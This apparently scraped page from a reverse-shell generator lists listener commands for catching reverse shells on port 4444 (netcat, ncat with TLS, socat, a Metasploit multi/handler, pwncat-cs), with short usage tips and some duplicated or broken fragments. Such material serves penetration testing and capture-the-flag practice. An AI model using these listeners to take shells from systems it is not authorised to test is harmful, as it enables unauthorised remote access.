netcat
plaintextnc -lvnp 4444The universal catch-all. -l listen, -v verbose, -n no DNS, -p port. Pairs with every plain-TCP payload.
Always start the listener before firing the payload. The generator shows the matching listener for whatever shell you pick; this page collects the full set with the trade-offs of each.
nc -lvnp 4444The universal catch-all. -l listen, -v verbose, -n no DNS, -p port. Pairs with every plain-TCP payload.
ncat --ssl -lvnp 4444Nmap's modern netcat. --ssl wraps the session in TLS so payloads using ncat --ssl connect cleanly.
socat -d -d TCP-LISTEN:4444,reuseaddr,fork FILE:`tty`,raw,echo=0Receives a fully interactive terminal. Combine with the socat payload for tab-completion and job control.
use exploit/multi/handler; set payload generic/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; runWhen you want session management, routing, and post modules around the catch.
pwncat-cs -lp 4444A listener that auto-stabilizes the shell, handles upload/download, and persists across reconnects.
tun0), confirm your LHOST is the address the target can actually route to.ncstill bound to 4444 will silently swallow your next catch — confirm the port is free first.